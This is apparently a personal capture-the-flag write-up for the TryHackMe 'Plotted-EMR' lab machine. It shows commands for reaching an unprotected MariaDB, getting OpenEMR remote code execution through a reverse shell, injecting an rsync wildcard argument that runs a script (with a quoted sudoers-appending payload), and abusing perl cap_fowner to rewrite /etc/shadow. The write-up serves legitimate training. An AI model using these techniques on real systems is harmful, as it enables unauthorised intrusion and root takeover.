This is my writeup for the Plotted-EMR room/machine of TryHackMe.com platform. Remember this is just how I solved/owned the machine, maybe there are different and fast paths but…
Machine
Tip: Enumeration is key!
The machine is rated as an hard machine and yes…it is! I solved it with a mixture of techniques and different escalations. Thanks a lot to sa.infinity8888 for this amazing machine! The best part you can learn with this machine is abusing the wildcard injection and the cap_fowner capability.
If you’re not an expert of wildcard inj/cap_fowner (and I wasn’t/am not) read the pages linked into the writeup, they helped me a lot to find the proper way.
ftp 10.10.58.69
Connected to 10.10.58.69.
220(vsFTPd 3.0.3)
Name (10.10.58.69:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -ltra
229 Entering Extended Passive Mode (|||41889|)150 Here comes the directory listing.
dr-xr-xr-x 3 ftp ftp 4096 Oct 17 04:35 ..
dr-xr-xr-x 3 ftp ftp 4096 Oct 17 04:35 .
drwxr-xr-x 3 ftp ftp 4096 Oct 17 04:36 .-
226 Directory send OK.
ftp> cd .-
250 Directory successfully changed.
ftp> ls -ltra
229 Entering Extended Passive Mode (|||48377|)150 Here comes the directory listing.
dr-xr-xr-x 3 ftp ftp 4096 Oct 17 04:35 ..
drwxr-xr-x 3 ftp ftp 4096 Oct 17 04:36 .
drwxr-xr-x 2 ftp ftp 4096 Oct 17 06:01 ...
226 Directory send OK.
ftp> cd ...
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||47362|)150 Here comes the directory listing.
-rw-r--r-- 1 ftp ftp 178 Oct 17 06:01 you_are_determined.txt
There is one file and I download it:
1
2
3
4
5
6
7
8
9
10
ftp> get you_are_determined.txt
local: you_are_determined.txt remote: you_are_determined.txt
229 Entering Extended Passive Mode (|||45101|)150 Opening BINARY mode data connection for you_are_determined.txt (178 bytes).
100% 178 3.29 KiB/s 00:00 ETA
226 Transfer complete.
178 bytes received in 00:00 (2.13 KiB/s)
ftp> exit221 Goodbye.
and check:
1
2
3
4
5
6
7
8
cat you_are_determined.txt
Sorry, but you wasted your time!
Here is something for you :D
https://www.youtube.com/watch?v=dQw4w9WgXcQ
Wait..I'll give you a hint: see if you can access the `admin` account
Oh good, a rabbit hole or better..just a memo with a hint (a good one!…you can see it later).
Just a tip: remember to use everytime the ls -ltra command instead of a simple ls…otherwise you’ll miss something.
echo"dGhpcyBtaWdodCBiZSBhIHVzZXJuYW1laHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1kUXc0dzlXZ1hjUQ=="| base64 -d
this might be a usernamehttps://www.youtube.com/watch?v=dQw4w9WgXc
Another time! Ok! the admin page is this might be a username…at this point I know there is something with an admin account!
I check the index page as well…but nothing than the usual ubuntu/apache home:
Let’s check the port 8890, who seems an HTTP server too:
Oh…amazing. There is an admin.php page and something who may be useful.
Let’s check the portal page - http://$IP:8890/portal:
and the http://$IP:8890/portal/admin.php page:
I check the web portal later and I look for the last port…the MySQL one on 5900 (according to nmap). I used the root user to connect but I don’t have the password, why not trying the user admin - which is written almost everywhere?
1
2
3
4
5
6
7
8
9
mysql -u admin -h 10.10.58.69 -P 5900
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 64
Server version: 10.3.31-MariaDB-0+deb10u1 Debian 10
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h'for help. Type '\c' to clear the current input statement.
and..surprise! I’m in! I run something just to understand what there is here and what I can do:
1
2
3
4
5
6
7
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema || mysql || performance_schema |
Well, I can read/see the mysql and information|performance_schema, it means (according to the documentation): To list all the databases on the MySQL server you’ll need to login as a user that can access all databases, by default that is the MySQL root user or set a global SHOW DATABASES privilege.
In fact, if I try to create a test DB, drop it or running some query…I’m a real admin :)
Let’s the fun begin!
Initial foothold
Before starting something is better to understand what I have:
A fully working and available MySQL instance
A web portal called OpenEMR version 5.0.1 (3) - according to the /portal/admin.php page
A login page and the administration side of OpenEMR
There are no DBs of this portal installed (weird? Nope…you’ll see later why)
I checked exploitdb here and there, github, several websites and…yes this version is exploitable in multiple ways, most of them via authenticated user.
Tip
I’m writing the final stage, after several test/failure of creating the new site…I was not so lucky to access it at the first time.
I talked with some guys and there are other ways to obtain a shell…but imo this is the faster one
Before starting the installation of the new site/portal I added a password to the user admin (simply password) because the website may ask you a password and it doesn’t accept an empty password! Yes, it’s full of bug but it’s still asking for the DB password:
1
2
3
4
5
6
7
8
9
10
11
mysql -u admin -h 10.10.58.69 -P 5900
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 64
Server version: 10.3.31-MariaDB-0+deb10u1 Debian 10
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h'for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> alter user admin identified by 'password';
First of all I check the /admin.php page and it seems I can install/configure a new portal/secondary one if I click “Add New Site”. And yes, I can! I name the new site “test” as written on the image:
The second window who appears is
and the third one is:
Pay attention! I haven’t created any sort of DB for the portal/application…so I ticked the “Have setup create the database” option. I clicked “continue” and the fourth one is the most important one:
Is really important to use the same configuration written on the image:
Server Host: the IP of the server
Server Port: 5900
Database Name: openemr or what you want..
Login Name: admin
Password: the password we setup before (password in my case)
Name for the root account : admin
Root pass: the password we setup before (password in my case)
Initial user: admin
Initial user password: admin
and leave the other options as default. I click on Continue for 2/3 times and the installation is done!
I come back to the admin.php page and my website is now present! I click on it and the login page appears, I use admin/admin and I’m into the new and fresh portal:
And now the second part of the fun begin.
According to exploitdb (here and here) and to github there is a way to obtain a reverse shell/RCE using the manage_site_files.php file and the images. Unfortunately this is not our case, if you check on the portal…you can’t change/modify the site files area/settings.
But…there is always something: this exploit - the number 45161 - is using a different way to upload our payload and to use the RCE, instead of using the manage_site_files.php is using edit_globals.php (and the fax service/setup).
I download it and, before running it, I noticed something is calling the default portal (the one with an unkonown admin/pass) at line 66 - site=default:
nc -nvlp 4444
listening on [any]4444 ...
connect to [10.11.55.171] from (UNKNOWN)[10.10.154.111]39786
www-data@plotted:/var/www/html/portal/interface/main$ id
uid=33(www-data)gid=33(www-data)groups=33(www-data)
www-data@plotted:/var/www/html/portal/interface/main$ ls -ltra
total 252
drwxrwxr-x 5 www-data www-data 4096 May 282018 tabs
-rw-rw-r-- 1 www-data www-data 3230 May 282018 pwd_expires_alert.php
drwxrwxr-x 2 www-data www-data 4096 May 282018 onotes
drwxrwxr-x 4 www-data www-data 4096 May 282018 messages
-rw-rw-r-- 1 www-data www-data 8399 May 282018 main_title.php
-rw-rw-r-- 1 www-data www-data 9783 May 282018 main_screen.php
-rw-rw-r-- 1 www-data www-data 3349 May 282018 main_info.php
-rw-rw-r-- 1 www-data www-data 84686 May 282018 left_nav.php
-rw-rw-r-- 1 www-data www-data 26027 May 282018 ippf_export.php
drwxrwxr-x 2 www-data www-data 4096 May 282018 holidays
drwxrwxr-x 2 www-data www-data 4096 May 282018 finder
drwxrwxr-x 2 www-data www-data 4096 May 282018 exceptions
-rw-rw-r-- 1 www-data www-data 10495 May 282018 display_documents.php
drwxrwxr-x 2 www-data www-data 4096 May 282018 dated_reminders
-rw-rw-r-- 1 www-data www-data 2119 May 282018 daemon_frame.php
drwxrwxr-x 4 www-data www-data 4096 May 282018 calendar
-rw-rw-r-- 1 www-data www-data 179 May 282018 blank.php
-rw-rw-r-- 1 www-data www-data 1992 May 282018 backuplog.sh
-rw-rw-r-- 1 www-data www-data 2179 May 282018 backuplog.php
-rw-rw-r-- 1 www-data www-data 27999 May 282018 backup.php
drwxrwxr-x 2 www-data www-data 4096 May 282018 authorizations
-rw-rw-r-- 1 www-data www-data 6765 May 282018 about_page.php
drwxrwxr-x 32 www-data www-data 4096 May 282018 ..
drwxrwxr-x 11 www-data www-data 4096 May 282018 .
www-data@plotted:/var/www/html/portal/interface/main$
Amazing, the RCE worked and I’m in as www-data.
According to the /etc/passwd the home of the user www-data is /var/www, I check for the flag:
1
2
3
4
5
6
7
8
9
10
www-data@plotted:/var/www$ ls -ltra
total 16
drwxr-xr-x 4 root root 4096 Oct 17 04:17 html
drwxr-xr-x 15 root root 4096 Oct 17 04:40 ..
-rw-r--r-- 1 www-data www-data 27 Oct 17 06:05 ThisFileIsInteresting
drwxr-xr-x 3 root root 4096 Oct 17 06:05 .
www-data@plotted:/var/www$ cat ThisFileIsInteresting
Flag1 : THM{REDACTED}
First one done :) Let’s move to the next flag/user!
PE to user plot_admin
The first think to do is checking which users are presents and what I can or can’t do…the basic enumeration for a Linux server. After checking with no luck sudo, SUID/SGID and so on…I found a crontab script running as plot_admin almost every minute:
www-data@plotted:/etc$ cat crontab
# /etc/crontab: system-wide crontab# Unlike any other crontab you don't have to run the `crontab'# command to install the new version when you edit this file# and files in /etc/cron.d. These files also have username fields,# that none of the other crontabs do.SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:# .---------------- minute (0 - 59)# | .------------- hour (0 - 23)# | | .---------- day of month (1 - 31)# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat# | | | | |# * * * * * user-name command to be executed
* * * * * plot_admin cd /var/www/html/portal/config && rsync -t * plot_admin@127.0.0.1:~/backup
17 * * * * root cd / && run-parts --report /etc/cron.hourly
256 * * * root test -x /usr/sbin/anacron ||(cd / && run-parts --report /etc/cron.daily )476 * * 7 root test -x /usr/sbin/anacron ||(cd / && run-parts --report /etc/cron.weekly )5261 * * root test -x /usr/sbin/anacron ||(cd / && run-parts --report /etc/cron.monthly )
The script is entering into the /var/www/html/portal/config directory and running an rsync -t *. Pay attention to the *.
Before doing something I searched how to use the wildcard injection: here,here,here and here there are some good articles with the examples and the explanation of almost everything.
The injection is described as:
1
2
3
4
5
6
7
8
9
10
11
Some interesting flags to use with rsync are:
-e, --rsh=COMMAND specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
We can use the -e flag to run any shell script we want. Let’s create a shell script which will add us to the sudoers file:
echo 'echo "my-user ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > shell.sh
Now let’s inject the flag which will run our shell script:
touch -- "-e sh shell.sh"
I follow the articles and I created a script shell.sh:
and uploaded it into the /var/www/html/portal/config plus I created the -e flag
1
2
3
4
5
6
7
8
9
www-data@plotted:/var/www/html/portal/config$ chmod +x shell.sh
www-data@plotted:/var/www/html/portal/config$ touch -- "-e sh shell.sh"
www-data@plotted:/var/www/html/portal/config$ ls -ltr
ls -ltr
total 16
-rw-rw-r-- 1 www-data www-data 428 May 282018 services.yml
-rw-rw-r-- 1 www-data www-data 4226 May 282018 config.yaml
-rwxr-xr-x 1 www-data www-data 70 Jan 30 20:44 shell.sh
-rw-r--r-- 1 www-data www-data 0 Jan 31 09:40 '-e sh shell.sh'
I launch another netcat listener in another shell and in a minute:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
nc -nvlp 4444
listening on [any]4444 ...
connect to [10.11.55.171] from (UNKNOWN)[10.10.113.131]52096
plot_admin@plotted:/var/www/html/portal/config$
plot_admin@plotted:/var/www/html/portal/config$ cd /home/plot_admin
plot_admin@plotted:~$ ls
ls
backup
user.txt
plot_admin@plotted:~$ cat user.txt
cat user.txt
[REDACTED]
plot_admin@plotted:~$ id
uid=1001(plot_admin)gid=1001(plot_admin)groups=1001(plot_admin)
And the second flag is done!
Before escalating to root I checked the .ssh directory and…there is a key! I’ll use it to connect via SSH directly.
PE to root
Before trying to escalate to root I noticed something (something I have to tell you before moving on):
The DB I used to install the portal is into a docker image
root 999 0.0 2.1 135105244028 ? Ssl 08:43 0:04 containerd --config /run/snap.docker/containerd/containerd.toml --log-level error
root 1038 0.0 0.0 2488524 ? S 08:43 0:00 bpfilter_umh
root 1211 0.0 0.1 11524523452 ? Sl 08:43 0:00 /snap/docker/1125/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 5900 -container-ip 172.17.0.2 -container-port 3306
root 1216 0.0 0.1 11524523504 ? Sl 08:43 0:00 /snap/docker/1125/bin/docker-proxy -proto tcp -host-ip :: -host-port 5900 -container-ip 172.17.0.2 -container-port 3306
root 1268 0.0 0.4 7131168600 ? Sl 08:43 0:00 /snap/docker/1125/bin/containerd-shim-runc-v2 -namespace moby -id e14009119bee71b41122c1e507ec35fafe299336bdb90ef96a1e789163cc5d55 -address /run/snap.docker/containerd/co
plot_admin@plotted$ ss -tulpn
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 00 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 00 10.10.113.131%eth0:68 0.0.0.0:*
tcp LISTEN 0128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 070 127.0.0.1:33060 0.0.0.0:*
tcp LISTEN 0151 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 04096 0.0.0.0:5900 0.0.0.0:*
tcp LISTEN 04096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0128[::]:22 [::]:*
tcp LISTEN 0511 *:8890 *:*
tcp LISTEN 04096[::]:5900 [::]:*
tcp LISTEN 0511 *:80 *:*
tcp LISTEN 032 *:21 *:*
plot_admin@plotted:$ mysql -u admin -ppassword -h 172.17.0.2 -P 3306
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 62
Server version: 5.5.5-10.3.31-MariaDB-0+deb10u1 Debian 10
The docker image is the reason why I changed the IP during the installation from localhost to the real machine IP.
Let’s move into the PE to root. First of all I want to thank the user Paul who helped me with a tip and led me to the correct PE! If you run linpeas.sh, perform a basic enumeration you can find something “weird” or something I personally never used.
I notice that the perl binaries have the cap_fowner+ep enabled as capabilities. I never used this kind of capability and here there is a good article who explain it and how to use it.
If you read the Linux man of capabilities:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
CAP_FOWNER
* Bypass permission checks on operations that normally
require the filesystem UID of the process to match the
UID of the file (e.g., chmod(2), utime(2)), excluding
those operations covered by CAP_DAC_OVERRIDE and
CAP_DAC_READ_SEARCH;
* set inode flags (see ioctl_iflags(2)) on arbitrary
files;
* set Access Control Lists (ACLs) on arbitrary files;
* ignore directory sticky bit on file deletion;
* modify user extended attributes on sticky directory
owned by any user;
* specify O_NOATIME for arbitrary files in open(2) and
fcntl(2).
I can change the permission of a file, for example…the /etc/shadow/ and change the root password! What I learnt is there is only one way to do it: with this Perl syntax.
I can now modify it! Let’s change the root password with test123
1
2
vi /etc/shadow
root:cpTwkvN8LaCm6:18863:0:99999:7:::
and login as root:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
plot_admin@plotted:~$ su
Password: (test123)
root@plotted:/home/plot_admin#
root@plotted:~# cat root.txt
Congratulations on completing this room!
[REDACTED]
Hope you enjoyed the journey!
Do let me know if you have any ideas/suggestions for future rooms
-sa.infinity8888
root@plotted:~#
Just a note: don’t try to add another root user into the /etc/passwd, the login via SSH to root is forbidden:
1
2
3
4
plot_admin@plotted:~$ cat /etc/ssh/sshd_config | grep -i root
#PermitRootLogin prohibit-password# the setting of "PermitRootLogin without-password".#ChrootDirectory none